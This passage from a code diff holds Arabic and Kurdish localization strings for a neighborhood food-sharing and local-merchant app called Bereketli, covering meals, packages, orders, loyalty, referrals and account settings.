"subtitle": "منزلية، طازجة، موثوقة",
|
||||||
|
"searchPlaceholder": "ابحث عن وجبة أو طاهٍ...",
|
||||||
|
"nearbyMeals": "وجبات قريبة",
|
||||||
|
"mealCount": "{{count}} وجبة",
|
||||||
|
"pickup": "استلام شخصي",
|
||||||
|
"delivery": "توصيل",
|
||||||
|
"pickupOrDelivery": "استلام / توصيل",
|
||||||
|
"lastPortions": "آخر {{count}}!",
|
||||||
|
"perPortion": "/ حصة",
|
||||||
|
"portionCount": "{{count}} حصة",
|
||||||
|
"emptyTitle": "لا توجد وجبات منزلية قريبة",
|
||||||
|
"emptyText": "زِد المسافة أو تحقق لاحقا"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "تفاصيل الوجبة",
|
||||||
|
"notFound": "الوجبة غير موجودة",
|
||||||
|
"defaultCook": "الطاهي",
|
||||||
|
"priceLabel": "السعر",
|
||||||
|
"pricePerPortion": "{{price}} ليرة / حصة",
|
||||||
|
"availableUntil": "متاح",
|
||||||
|
"availableUntilValue": "حتى {{time}}",
|
||||||
|
"remainingLabel": "المتبقي",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} حصة",
|
||||||
|
"deliveryLabel": "التوصيل",
|
||||||
|
"pickup": "استلام شخصي",
|
||||||
|
"deliveryToAddress": "توصيل للعنوان",
|
||||||
|
"pickupOrDelivery": "استلام / توصيل",
|
||||||
|
"portionLabel": "الحصص",
|
||||||
|
"total": "المجموع",
|
||||||
|
"ordering": "جاري تقديم الطلب...",
|
||||||
|
"soldOut": "نفد",
|
||||||
|
"order": "اطلب الآن",
|
||||||
|
"orderSuccess": "تم تقديم الطلب!",
|
||||||
|
"orderSuccessMsg": "طلب #{{orderId}}\n{{portions}} حصة {{title}}\nالمجموع: {{total}} ليرة\n\nسيتم إعلامك عند تأكيد الطاهي.",
|
||||||
|
"orderFailed": "تعذر إنشاء الطلب."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "متاجر الحي",
|
||||||
|
"subtitle": "اجمع النقاط واربح الجوائز",
|
||||||
|
"searchPlaceholder": "ابحث عن متجر...",
|
||||||
|
"categoryAll": "الكل",
|
||||||
|
"categoryBarber": "حلاق",
|
||||||
|
"categoryCafe": "مقهى",
|
||||||
|
"categoryButcher": "جزار",
|
||||||
|
"categoryGreengrocer": "بقال",
|
||||||
|
"categoryBakery": "مخبز",
|
||||||
|
"categoryPharmacy": "صيدلية",
|
||||||
|
"categoryTailor": "خياط",
|
||||||
|
"categoryOther": "أخرى",
|
||||||
|
"nearbyMerchants": "متاجر قريبة",
|
||||||
|
"merchantCount": "{{count}} متجر",
|
||||||
|
"proPlan": "متجر برو",
|
||||||
|
"businessPlan": "أعمال",
|
||||||
|
"emptyTitle": "لا توجد متاجر قريبة",
|
||||||
|
"emptyText": "زِد المسافة أو جرّب فئة أخرى"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "المتجر غير موجود",
|
||||||
|
"phoneNotRegistered": "رقم الهاتف غير مسجل.",
|
||||||
|
"services": "الخدمات",
|
||||||
|
"products": "المنتجات",
|
||||||
|
"surprisePackages": "طرود مفاجئة",
|
||||||
|
"buyButton": "اشترِ",
|
||||||
|
"loyaltyProgram": "برنامج الولاء",
|
||||||
|
"loyaltyJoinHint": "ستنضم تلقائيا عند زيارتك الأولى",
|
||||||
|
"contact": "التواصل",
|
||||||
|
"callSuffix": "اتصل",
|
||||||
|
"appointmentTitle": "حجز موعد",
|
||||||
|
"appointmentTimes": "الأوقات المتاحة لغد:",
|
||||||
|
"appointmentCreated": "تم حجز الموعد!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} الساعة {{time}}\n\nسيتم إعلامك عند تأكيد المتجر.",
|
||||||
|
"appointmentFailed": "تعذر حجز الموعد.",
|
||||||
|
"orderCreated": "تم إنشاء الطلب!",
|
||||||
|
"orderFailed": "تعذر إنشاء الطلب",
|
||||||
|
"callAndOrder": "اتصل واطلب",
|
||||||
|
"closeButton": "إغلاق"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "حسابي",
|
||||||
|
"defaultUser": "مستخدم",
|
||||||
|
"editHint": "تعديل",
|
||||||
|
"editNameTitle": "تعديل الاسم",
|
||||||
|
"namePlaceholder": "اسمك",
|
||||||
|
"nameRequired": "الاسم لا يمكن أن يكون فارغا",
|
||||||
|
"nameUpdateFailed": "تعذر تحديث الاسم",
|
||||||
|
"ordersLabel": "طلباتي",
|
||||||
|
"appointmentsLabel": "مواعيدي",
|
||||||
|
"loyaltyLabel": "الولاء",
|
||||||
|
"discoverLabel": "اكتشف",
|
||||||
|
"surprisePackages": "طرود مفاجئة",
|
||||||
|
"surprisePackagesDesc": "طرود مخفضة قريبة منك",
|
||||||
|
"neighborhoodMerchants": "متاجر الحي",
|
||||||
|
"neighborhoodMerchantsDesc": "اجمع النقاط واربح الجوائز",
|
||||||
|
"securityLabel": "الأمان",
|
||||||
|
"changePassword": "تغيير كلمة المرور",
|
||||||
|
"supportLabel": "الدعم",
|
||||||
|
"faq": "الأسئلة الشائعة",
|
||||||
|
"faqDesc": "18 سؤال شائع - إجابات حقيقية",
|
||||||
|
"contactLabel": "التواصل",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "الموقع الإلكتروني",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "الإصدار",
|
||||||
|
"logout": "تسجيل الخروج",
|
||||||
|
"logoutConfirm": "هل أنت متأكد من تسجيل الخروج؟",
|
||||||
|
"logoutCancel": "إلغاء",
|
||||||
|
"deleteAccount": "حذف حسابي",
|
||||||
|
"deleteAccountDesc": "هذا الإجراء لا يمكن التراجع عنه",
|
||||||
|
"deleteAccountConfirm": "هذا الإجراء لا يمكن التراجع عنه. سيتم حذف حسابك وجميع بياناتك نهائيا.",
|
||||||
|
"deleteAccountButton": "حذف حسابي",
|
||||||
|
"deleteAccountFailed": "تعذر حذف الحساب. حاول مجددا.",
|
||||||
|
"language": "اللغة",
|
||||||
|
"selectLanguage": "اختر اللغة"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "تغيير كلمة المرور",
|
||||||
|
"subtitle": "أدخل كلمة المرور الحالية للتحقق",
|
||||||
|
"currentPassword": "كلمة المرور الحالية",
|
||||||
|
"currentPasswordPlaceholder": "كلمة المرور الحالية",
|
||||||
|
"newPassword": "كلمة المرور الجديدة",
|
||||||
|
"newPasswordPlaceholder": "8 أحرف على الأقل",
|
||||||
|
"confirmPassword": "تأكيد كلمة المرور الجديدة",
|
||||||
|
"confirmPasswordPlaceholder": "أعد إدخال كلمة المرور الجديدة",
|
||||||
|
"changing": "جاري التغيير...",
|
||||||
|
"change": "تغيير كلمة المرور",
|
||||||
|
"allFieldsRequired": "يرجى ملء جميع الحقول",
|
||||||
|
"passwordMinLength": "كلمة المرور الجديدة يجب أن تكون 8 أحرف على الأقل",
|
||||||
|
"passwordMismatch": "كلمتا المرور الجديدتان غير متطابقتين",
|
||||||
|
"success": "تم تغيير كلمة المرور",
|
||||||
|
"successTitle": "تم بنجاح",
|
||||||
|
"failed": "تعذر تغيير كلمة المرور. تحقق من كلمة المرور الحالية."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "الأسئلة الشائعة",
|
||||||
|
"categoryAll": "الكل",
|
||||||
|
"categoryGenel": "عام",
|
||||||
|
"categoryCustomers": "العملاء",
|
||||||
|
"categoryBusinesses": "الأعمال",
|
||||||
|
"categoryPayment": "الدفع",
|
||||||
|
"empty": "لم تُضف أسئلة شائعة بعد"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "مواعيدي",
|
||||||
|
"statusPending": "قيد الانتظار",
|
||||||
|
"statusConfirmed": "مؤكد",
|
||||||
|
"statusCompleted": "مكتمل",
|
||||||
|
"statusCancelled": "ملغى",
|
||||||
|
"statusNoShow": "لم يحضر",
|
||||||
|
"cancelTitle": "إلغاء الموعد",
|
||||||
|
"cancelMessage": "هل أنت متأكد من إلغاء هذا الموعد؟",
|
||||||
|
"cancelConfirm": "إلغاء",
|
||||||
|
"cancelFailed": "تعذر إلغاء الموعد.",
|
||||||
|
"durationMin": "{{min}} دقيقة",
|
||||||
|
"emptyTitle": "لا توجد مواعيد بعد",
|
||||||
|
"emptyText": "احجز موعدا مع حلاق أو خياط من قسم المتاجر",
|
||||||
|
"days": {
|
||||||
|
"sunday": "الأحد",
|
||||||
|
"monday": "الاثنين",
|
||||||
|
"tuesday": "الثلاثاء",
|
||||||
|
"wednesday": "الأربعاء",
|
||||||
|
"thursday": "الخميس",
|
||||||
|
"friday": "الجمعة",
|
||||||
|
"saturday": "السبت"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "بطاقات الولاء",
|
||||||
|
"stampUnit": "ختم",
|
||||||
|
"pointUnit": "نقطة",
|
||||||
|
"visitUnit": "زيارة",
|
||||||
|
"redeemButton": "استلم المكافأة",
|
||||||
|
"notReady": "غير جاهز بعد",
|
||||||
|
"notReadyMsg": "أكمل {{progress}} للحصول على مكافأتك.",
|
||||||
|
"redeemTitle": "استلام المكافأة",
|
||||||
|
"redeemMessage": "{{reward}}\n\nهل تريد استلام مكافأتك؟",
|
||||||
|
"redeemSuccess": "مبروك!",
|
||||||
|
"redeemSuccessMsg": "تم استخدام مكافأتك.",
|
||||||
|
"redeemFailed": "تعذر استلام المكافأة",
|
||||||
|
"lastVisit": "آخر زيارة: {{date}}",
|
||||||
|
"emptyTitle": "لا توجد بطاقات ولاء بعد",
|
||||||
|
"emptyText": "اجمع النقاط بالتسوق من متاجر الحي",
|
||||||
|
"exploreMerchants": "اكتشف المتاجر"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "مساعد بركتلي",
|
||||||
|
"placeholder": "اكتب رسالتك...",
|
||||||
|
"greeting": "مرحبا! أنا مساعد بركتلي. كيف يمكنني مساعدتك؟",
|
||||||
|
"typing": "يكتب...",
|
||||||
|
"error": "تعذر الحصول على رد، حاول مجددا",
|
||||||
|
"suggestPackages": "طرود قريبة مني",
|
||||||
|
"suggestFood": "ماذا يمكنني أن آكل؟",
|
||||||
|
"suggestStore": "اقترح متجرا",
|
||||||
|
"suggestHez": "ما هو HEZ Coin؟",
|
||||||
|
"listening": "جارٍ الاستماع...",
|
||||||
|
"voiceError": "فشل التعرف على الصوت، حاول مجددا",
|
||||||
|
"holdToTalk": "اضغط مطولا للتحدث"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "ادعُ واكسب",
|
||||||
|
"totalPoints": "مجموع نقاطك",
|
||||||
|
"pointsUnit": "نقطة",
|
||||||
|
"inviteLabel": "الدعوات",
|
||||||
|
"completedLabel": "المكتملة",
|
||||||
|
"earnedLabel": "المكتسبة",
|
||||||
|
"codeTitle": "رمز دعوتك",
|
||||||
|
"copy": "نسخ",
|
||||||
|
"copied": "تم النسخ",
|
||||||
|
"copiedMsg": "رمز دعوتك: {{code}}",
|
||||||
|
"whatsappShare": "شارك عبر واتساب",
|
||||||
|
"share": "مشاركة",
|
||||||
|
"shareText": "انضم إلى بركتلي ولنكسب معا! رمز دعوتي: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "كيف يعمل؟",
|
||||||
|
"step1Title": "صديقك يسجل",
|
||||||
|
"step1Desc": "اكسب {{points}}+ نقطة",
|
||||||
|
"step2Title": "يقدم أول طلب",
|
||||||
|
"step2Desc": "اكسب 100 نقطة",
|
||||||
|
"step3Title": "كلما دعوت أكثر",
|
||||||
|
"step3Desc": "كلما كسبت أكثر!",
|
||||||
|
"usePoints": "استخدم نقاطك",
|
||||||
|
"usePoints1Title": "خصومات على الطرود",
|
||||||
|
"usePoints1Desc": "عروض تحددها المتاجر",
|
||||||
|
"usePoints2Title": "حوّل إلى HEZ Coin",
|
||||||
|
"usePoints2Desc": "قريبا",
|
||||||
|
"historyTitle": "سجل الدعوات",
|
||||||
|
"historyEmpty": "لا توجد دعوات بعد",
|
||||||
|
"historyEmptyText": "شارك رمزك وابدأ بكسب النقاط"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "بارکردن...",
|
||||||
|
"error": "هەڵە",
|
||||||
|
"retry": "دووبارە هەوڵبدەرەوە",
|
||||||
|
"cancel": "پاشگەزبوونەوە",
|
||||||
|
"ok": "باشە",
|
||||||
|
"save": "پاشەکەوتکردن",
|
||||||
|
"delete": "سڕینەوە",
|
||||||
|
"back": "گەڕانەوە",
|
||||||
|
"next": "دواتر",
|
||||||
|
"close": "داخستن",
|
||||||
|
"search": "گەڕان",
|
||||||
|
"noResults": "هیچ ئەنجامێک نەدۆزرایەوە",
|
||||||
|
"pullToRefresh": "ڕاکێشە بۆ نوێکردنەوە",
|
||||||
|
"or": "یان",
|
||||||
|
"confirm": "دڵنیاکردنەوە",
|
||||||
|
"all": "هەمووی",
|
||||||
|
"distance": "دووری",
|
||||||
|
"goBack": "گەڕانەوە",
|
||||||
|
"saving": "پاشەکەوتدەکرێت...",
|
||||||
|
"info": "زانیاری"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "پاکێتەکان",
|
||||||
|
"komsu": "دراوسێ",
|
||||||
|
"esnaf": "دوکانەکان",
|
||||||
|
"hesabim": "هەژمارەکەم"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "ئەپی گەڕەکەکەت",
|
||||||
|
"emailOrPhone": "ئیمەیڵ یان ژمارەی مۆبایل",
|
||||||
|
"emailPlaceholder": "example@email.com یان 05xx...",
|
||||||
|
"password": "وشەی نهێنی",
|
||||||
|
"passwordPlaceholder": "وشەی نهێنیت",
|
||||||
|
"loggingIn": "چوونەژوورەوە...",
|
||||||
|
"login": "چوونەژوورەوە",
|
||||||
|
"googleLogin": "چوونەژوورەوە لە ڕێگەی گووگڵ",
|
||||||
|
"noAccount": "هەژمارت نییە؟",
|
||||||
|
"registerLink": "خۆت تۆمار بکە",
|
||||||
|
"loginErrorTitle": "هەڵە",
|
||||||
|
"loginErrorRequired": "ئیمەیڵ/مۆبایل و وشەی نهێنی پێویستە",
|
||||||
|
"googleTokenError": "تۆکنی گووگڵ بەدەست نەهات",
|
||||||
|
"googlePlayError": "خزمەتگوزاریەکانی گووگڵ پلەی بەردەست نییە",
|
||||||
|
"googleLoginFailed": "چوونەژوورەوەی گووگڵ سەرکەوتوو نەبوو",
|
||||||
|
"registerTitle": "خۆت تۆمار بکە",
|
||||||
|
"registerSubtitle": "بەخێربێیت بۆ بەرەکەتلی",
|
||||||
|
"fullName": "ناوی تەواو",
|
||||||
|
"fullNamePlaceholder": "ناوی تەواوت",
|
||||||
|
"email": "ئیمەیڵ",
|
||||||
|
"emailOnlyPlaceholder": "example@email.com",
|
||||||
|
"phoneOptional": "مۆبایل (ئارەزوومەندانە)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "وشەی نهێنی",
|
||||||
|
"passwordMinPlaceholder": "لانیکەم ٨ پیت",
|
||||||
|
"confirmPassword": "دووبارەکردنەوەی وشەی نهێنی",
|
||||||
|
"confirmPasswordPlaceholder": "وشەی نهێنیت دووبارە بنووسەرەوە",
|
||||||
|
"referralCodeOptional": "کۆدی بانگهێشت (ئارەزوومەندانە)",
|
||||||
|
"referralCodePlaceholder": "ئەگەر کۆدی بانگهێشتت هەیە بینووسە",
|
||||||
|
"registering": "تۆمارکردن...",
|
||||||
|
"register": "خۆت تۆمار بکە",
|
||||||
|
"haveAccount": "پێشتر هەژمارت هەیە؟",
|
||||||
|
"loginLink": "بچۆ ژوورەوە",
|
||||||
|
"registerErrorRequired": "ناو، ئیمەیڵ و وشەی نهێنی پێویستە",
|
||||||
|
"registerErrorPasswordMin": "وشەی نهێنی لانیکەم ٨ پیت دەبێت",
|
||||||
|
"registerErrorPasswordMatch": "وشەی نهێنییەکان یەک ناگرنەوە"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "ئەپی گەڕەکەکەت",
|
||||||
|
"tagline": "لەبەرچاوگرتنی خواردنەوە، بەرەکەت دابەش بکە"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "ڕێگری لە بەفیڕۆچوونی خواردن",
|
||||||
|
"slide1Desc": "بەرهەمە ماوەکانی کۆتایی ڕۆژ لە دوکانەکان بە نرخێکی داشکاو بکڕە. پارە پاشەکەوت بکە و چاکەکاری بکە.",
|
||||||
|
"slide2Title": "گەڕەکەکەت بدۆزەرەوە",
|
||||||
|
"slide2Desc": "نانەوایی، میوەفرۆشی، قەسابخانە، دەلاک و زیاتری نزیکت بدۆزەرەوە. خاڵی وەفاداری کۆبکەرەوە، خەڵات ببەرەوە.",
|
||||||
|
"slide3Title": "دەست پێبکە",
|
||||||
|
"slide3Desc": "شوێنەکەت هاوبەش بکە، پاکێتە سورپرایزەکان و دوکانە نزیکەکان بدۆزەرەوە!",
|
||||||
|
"locationLabel": "شوێن",
|
||||||
|
"locationDesc": "پاکێتە نزیکەکان نیشان بدە",
|
||||||
|
"notificationLabel": "ئاگادارکردنەوەکان",
|
||||||
|
"notificationDesc": "لە دەرفەتەکان ئاگادار بە",
|
||||||
|
"skip": "تێپەڕاندن",
|
||||||
|
"next": "دواتر ←",
|
||||||
|
"start": "دەست پێبکە",
|
||||||
|
"micLabel": "مایکرۆفۆن",
|
||||||
|
"micDesc": "بۆ قسەکردن لەگەڵ یاریدەدەری AI",
|
||||||
|
"cameraLabel": "کامێرا",
|
||||||
|
"cameraDesc": "بۆ QR کۆد و وێنە"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "شوێن هەڵبژێرە",
|
||||||
|
"useMyLocation": "شوێنەکەم بەکاربهێنە",
|
||||||
|
"confirm": "دڵنیاکردنەوە",
|
||||||
|
"permissionRequired": "ڕێگەپێدانی شوێن پێویستە",
|
||||||
|
"permissionMessage": "تکایە لە ڕێکخستنەکان ڕێگەپێدانی شوێن چالاک بکە.",
|
||||||
|
"gpsError": "سیگناڵی GPS نەدۆزرایەوە",
|
||||||
|
"gpsErrorMessage": "لە شوێنێکی کراوە دووبارە هەوڵبدەرەوە یان لە نەخشەکە خاڵێک هەڵبژێرە."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "ناونیشانی گەیاندن",
|
||||||
|
"selectLocation": "شوێن هەڵبژێرە",
|
||||||
|
"searchPlaceholder": "بگەڕێ بۆ پاکێت یان دوکان...",
|
||||||
|
"sortLabel": "ڕیزکردن",
|
||||||
|
"sortDistance": "دووری",
|
||||||
|
"sortPrice": "نرخ",
|
||||||
|
"sortRating": "هەڵسەنگاندن",
|
||||||
|
"delivery": "گەیاندن",
|
||||||
|
"discounted": "داشکاو",
|
||||||
|
"lastFew": "کەمی ماوە",
|
||||||
|
"priceRange": "بازنەی نرخ",
|
||||||
|
"referralBannerTitle": "بانگهێشت بکە و ببەرەوە",
|
||||||
|
"referralBannerDesc": "هاوڕێکەت بهێنە، خاڵ ببەرەوە!",
|
||||||
|
"categoryAll": "هەمووی",
|
||||||
|
"categoryBakery": "نانەوایی",
|
||||||
|
"categoryRestaurant": "چێشتخانە",
|
||||||
|
"categoryPastry": "شیرینیفرۆشی",
|
||||||
|
"categoryMarket": "بازاڕ",
|
||||||
|
"nearbyPackages": "پاکێتە نزیکەکان",
|
||||||
|
"categoryPackages": "پاکێتەکانی {{category}}",
|
||||||
|
"packageCount": "{{count}} پاکێت",
|
||||||
|
"emptyTitle": "لە نزیکتدا پاکێت نییە",
|
||||||
|
"emptyText": "دووری زیاد بکە یان \"هەمووی\" تاقیبکەرەوە",
|
||||||
|
"notificationPermission": "ڕێگەپێدانی ئاگادارکردنەوە",
|
||||||
|
"notificationPermissionMsg": "پێویستە ڕێگە بە ئاگادارکردنەوەکان بدەیت. لە ڕێکخستنەکان دەتوانیت.",
|
||||||
|
"notificationsEnabled": "ئاگادارکردنەوەکان چالاک کران",
|
||||||
|
"notificationsEnabledMsg": "لە پاکێت و کەمپینی نوێ ئاگادار دەکرێیتەوە!",
|
||||||
|
"notificationRegisterFailed": "تۆمارکردنی ئاگادارکردنەوە سەرکەوتوو نەبوو."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "وردەکاری پاکێت",
|
||||||
|
"notFound": "پاکێت نەدۆزرایەوە",
|
||||||
|
"loadError": "نەتوانرا زانیاری پاکێت بارکرێت",
|
||||||
|
"description": "وەسف",
|
||||||
|
"details": "وردەکاری",
|
||||||
|
"priceLabel": "نرخ",
|
||||||
|
"pickupTime": "کاتی وەرگرتن",
|
||||||
|
"remaining": "ماوە",
|
||||||
|
"status": "دۆخ",
|
||||||
|
"statusActive": "چالاک",
|
||||||
|
"statusSoldOut": "تەواو بوو",
|
||||||
|
"statusExpired": "بەسەرچوو",
|
||||||
|
"deliveryMethod": "شێوازی گەیاندن",
|
||||||
|
"pickup": "خۆت وەربگرە",
|
||||||
|
"deliveryToAddress": "گەیاندن بۆ ناونیشان",
|
||||||
|
"deliveryAddressPlaceholder": "ناونیشانی گەیاندنت بنووسە",
|
||||||
|
"deliveryAddressRequired": "تکایە ناونیشانی گەیاندن بنووسە",
|
||||||
|
"total": "کۆی گشتی",
|
||||||
|
"purchasing": "داواکاری دەنێردرێت...",
|
||||||
|
"purchase": "بیکڕە",
|
||||||
|
"orderCreated": "داواکاری دروست کرا",
|
||||||
|
"orderCreatedMsg": "داواکاری #{{orderId}}\nکۆی گشتی: {{price}} لیرە\n\nئاڕاستەکراوی بەرەوە پەڕەی پارەدان.",
|
||||||
|
"viewOrder": "داواکاری ببینە",
|
||||||
|
"orderFailed": "نەتوانرا داواکاری دروست بکرێت. دووبارە هەوڵبدەرەوە.",
|
||||||
|
"discount": "%{{percent}} داشکان"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "داواکارییەکانم",
|
||||||
|
"orderCount": "{{count}} داواکاری",
|
||||||
|
"qrPickup": "وەرگرتنی QR",
|
||||||
|
"tabPackages": "پاکێت",
|
||||||
|
"tabMeals": "خواردنی دراوسێ",
|
||||||
|
"emptyPackagesTitle": "هێشتا داواکاری پاکێتت نییە",
|
||||||
|
"emptyPackagesText": "لە بەشی پاکێتەکانەوە یەکەم داواکاریت بکە",
|
||||||
|
"emptyMealsTitle": "هێشتا داواکاری خواردنت نییە",
|
||||||
|
"emptyMealsText": "لە بەشی دراوسێیەوە خواردنی ماڵەوە داوا بکە",
|
||||||
|
"statusPending": "چاوەڕوانە",
|
||||||
|
"statusPaid": "پارە دراو",
|
||||||
|
"statusPickedUp": "وەرگیرا",
|
||||||
|
"statusCancelled": "هەڵوەشاندراوە",
|
||||||
|
"statusRefunded": "گەڕێنرایەوە",
|
||||||
|
"statusAccepted": "پەسەند کرا",
|
||||||
|
"statusRejected": "ڕەتکرایەوە",
|
||||||
|
"statusCompleted": "تەواو بوو",
|
||||||
|
"mealOrderBadge": "خواردنی دراوسێ",
|
||||||
|
"portions": "{{count}} پۆرشن"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "گەڕانەوە",
|
||||||
|
"notFound": "داواکاری نەدۆزرایەوە",
|
||||||
|
"loadError": "نەتوانرا زانیاری داواکاری بارکرێت",
|
||||||
|
"pickupCode": "کۆدی وەرگرتن",
|
||||||
|
"tokenLabel": "تۆکن",
|
||||||
|
"qrHint": "ئەم QR کۆدە پیشانی کارمەندی دوکان بدە",
|
||||||
|
"orderDetails": "وردەکاری داواکاری",
|
||||||
|
"orderNo": "ژمارەی داواکاری",
|
||||||
|
"quantity": "بڕ",
|
||||||
|
"unitPrice": "نرخی یەکە",
|
||||||
|
"total": "کۆی گشتی",
|
||||||
|
"date": "بەروار",
|
||||||
|
"paymentDate": "بەرواری پارەدان",
|
||||||
|
"pickupDate": "بەرواری وەرگرتن",
|
||||||
|
"cancelDate": "بەرواری هەڵوەشاندن",
|
||||||
|
"cancelling": "هەڵوەشاندن...",
|
||||||
|
"cancelOrder": "هەڵوەشاندنی داواکاری",
|
||||||
|
"cancelTitle": "هەڵوەشاندنی داواکاری",
|
||||||
|
"cancelMessage": "دڵنیایت لە هەڵوەشاندنی ئەم داواکارییە؟",
|
||||||
|
"cancelConfirm": "هەڵبوەشێنە",
|
||||||
|
"cancelSuccess": "داواکارییەکەت هەڵوەشا",
|
||||||
|
"cancelFailed": "نەتوانرا داواکاری هەڵبوەشێنرێت",
|
||||||
|
"reviewButton": "هەڵسەنگاندن بنووسە",
|
||||||
|
"reviewTitle": "ئەزموونەکەت هەڵبسەنگێنە",
|
||||||
|
"reviewPlaceholder": "هەڵسەنگاندنەکەت (ئارەزوومەندانە)",
|
||||||
|
"reviewSubmitting": "ناردن...",
|
||||||
|
"reviewSubmit": "بینێرە",
|
||||||
|
"reviewRatingRequired": "تکایە هەڵسەنگاندنێک هەڵبژێرە",
|
||||||
|
"reviewSuccess": "هەڵسەنگاندنەکەت پاشەکەوت کرا!",
|
||||||
|
"reviewSuccessTitle": "سوپاس",
|
||||||
|
"reviewFailed": "نەتوانرا هەڵسەنگاندن بنێردرێت",
|
||||||
|
"reviewDone": "هەڵسەنگاندنەکەت پاشەکەوت کرا. سوپاس!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "ئەم QR کۆدە پیشانی خاوەنی خواردنەکە بدە",
|
||||||
|
"portionLabel": "پۆرشن",
|
||||||
|
"orderDate": "بەرواری داواکاری",
|
||||||
|
"acceptDate": "بەرواری پەسەندکردن",
|
||||||
|
"deliveryDate": "بەرواری گەیاندن",
|
||||||
|
"cancelDate": "بەرواری هەڵوەشاندن"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "وەرگرتنی QR",
|
||||||
|
"verifying": "پشتڕاستکردنەوە...",
|
||||||
|
"scanPrompt": "QR کۆد بخوێنەرەوە",
|
||||||
|
"instructions": "کاتی وەرگرتنی داواکارییەکەت لە دوکاندا QR کۆدەکە بە کامێراکەت بخوێنەرەوە",
|
||||||
|
"successTitle": "وەرگیرا!",
|
||||||
|
"successMessage": "داواکاری #{{orderId}} بە سەرکەوتوویی وەرگیرا.\n\nکۆی گشتی: {{price}} لیرە",
|
||||||
|
"errorMessage": "نەتوانرا QR کۆد پشتڕاست بکرێتەوە. دووبارە هەوڵبدەرەوە.",
|
||||||
|
"retryButton": "دووبارە هەوڵبدەرەوە"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "بگەڕێ بۆ پاکێت، دوکان یان پۆل...",
|
||||||
|
"popularCategories": "پۆلە بەناوبانگەکان",
|
||||||
|
"popularSearches": "گەڕانە بەناوبانگەکان",
|
||||||
|
"resultCount": "{{count}} ئەنجام دۆزرایەوە",
|
||||||
|
"emptyTitle": "هیچ ئەنجامێک نەدۆزرایەوە",
|
||||||
|
"emptyText": "وشەیەکی گەڕانی جیاواز تاقیبکەرەوە"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "خواردنی دراوسێکان",
|
||||||
|
"subtitle": "ماڵەوە لێنراو، تازە، متمانەپێکراو",
|
||||||
|
"searchPlaceholder": "بگەڕێ بۆ خواردن یان چێشتکەر...",
|
||||||
|
"nearbyMeals": "خواردنە نزیکەکان",
|
||||||
|
"mealCount": "{{count}} خواردن",
|
||||||
|
"pickup": "خۆت وەربگرە",
|
||||||
|
"delivery": "گەیاندن",
|
||||||
|
"pickupOrDelivery": "وەرگرتن / گەیاندن",
|
||||||
|
"lastPortions": "کۆتا {{count}}!",
|
||||||
|
"perPortion": "/ پۆرشن",
|
||||||
|
"portionCount": "{{count}} پۆرشن",
|
||||||
|
"emptyTitle": "لە نزیکتدا خواردنی ماڵەوە نییە",
|
||||||
|
"emptyText": "دووری زیاد بکە یان دواتر سەیری بکەرەوە"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "وردەکاری خواردن",
|
||||||
|
"notFound": "خواردن نەدۆزرایەوە",
|
||||||
|
"defaultCook": "چێشتکەر",
|
||||||
|
"priceLabel": "نرخ",
|
||||||
|
"pricePerPortion": "{{price}} لیرە / پۆرشن",
|
||||||
|
"availableUntil": "بەردەستە",
|
||||||
|
"availableUntilValue": "تا {{time}}",
|
||||||
|
"remainingLabel": "ماوە",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} پۆرشن",
|
||||||
|
"deliveryLabel": "گەیاندن",
|
||||||
|
"pickup": "خۆت وەربگرە",
|
||||||
|
"deliveryToAddress": "گەیاندن بۆ ناونیشان",
|
||||||
|
"pickupOrDelivery": "وەرگرتن / گەیاندن",
|
||||||
|
"portionLabel": "پۆرشن",
|
||||||
|
"total": "کۆی گشتی",
|
||||||
|
"ordering": "داواکاری دەنێردرێت...",
|
||||||
|
"soldOut": "تەواو بوو",
|
||||||
|
"order": "داواکاری بکە",
|
||||||
|
"orderSuccess": "داواکاری نێردرا!",
|
||||||
|
"orderSuccessMsg": "داواکاری #{{orderId}}\n{{portions}} پۆرشن {{title}}\nکۆی گشتی: {{total}} لیرە\n\nکاتی پەسەندکردنی چێشتکەر ئاگادار دەکرێیتەوە.",
|
||||||
|
"orderFailed": "نەتوانرا داواکاری دروست بکرێت."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "دوکانەکانی گەڕەک",
|
||||||
|
"subtitle": "خاڵ کۆبکەرەوە، خەڵات ببەرەوە",
|
